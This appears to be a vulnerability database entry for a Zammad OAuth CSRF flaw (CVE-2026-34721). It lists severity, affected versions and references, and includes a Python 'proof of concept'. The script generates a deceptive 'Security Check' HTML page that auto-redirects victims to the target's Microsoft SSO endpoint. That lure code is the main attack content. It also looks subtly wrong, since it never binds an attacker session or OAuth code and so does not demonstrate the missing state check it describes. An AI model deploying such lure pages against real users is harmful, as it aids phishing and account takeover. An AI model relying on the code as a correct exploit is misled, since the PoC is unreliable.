CVE-2026-34721

Description

Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.1 and 6.5.4, the OAuth callback endpoints for Microsoft, Google, and Facebook external credentials do not validate a CSRF state parameter. This vulnerability is fixed in 7.0.1 and 6.5.4.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:zammad:zammad:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:zammad:zammad:7.0.0:*:*:*:*:*:*:* - VULNERABLE

Zammad < 7.0.1

Zammad < 6.5.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (PoC) for CVE-2026-34721
# This PoC demonstrates the concept of exploiting OAuth CSRF due to missing state validation.
# An attacker would host this HTML to trick a user into initiating an OAuth flow.

import html

def generate_poc_page(target_domain):
    
    # This is a simulated payload. In a real attack, the 'redirect_uri' would point to
    # the vulnerable Zammad instance's callback endpoint.
    # The vulnerability lies in the lack of 'state' parameter validation.
    
    exploit_html = f"""
    <html>
    <body>
        <h2>Security Check</h2>
        <p>Please click below to verify your account:</p>
        <!-- Malicious link initiating OAuth without a valid state or binding attacker's session -->
        <a href="https://{target_domain}/auth/sso/microsoft">Login with Microsoft</a>
        <script>
            // Auto-trigger to maximize success rate
            window.location.href = "https://{target_domain}/auth/sso/microsoft";
        </script>
    </body>
    </html>
    """
    return exploit_html

if __name__ == "__main__":
    target = "vulnerable-zammad.example.com"
    print(f"Generating PoC for {target}...")
    print(generate_poc_page(target))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34721
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34721
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34721/
[4] VulDB https://vuldb.com/cve/CVE-2026-34721
[5] https://github.com/zammad/zammad/security/advisories/GHSA-mfwp-hx66-626c

Raw JSON Data

JSON

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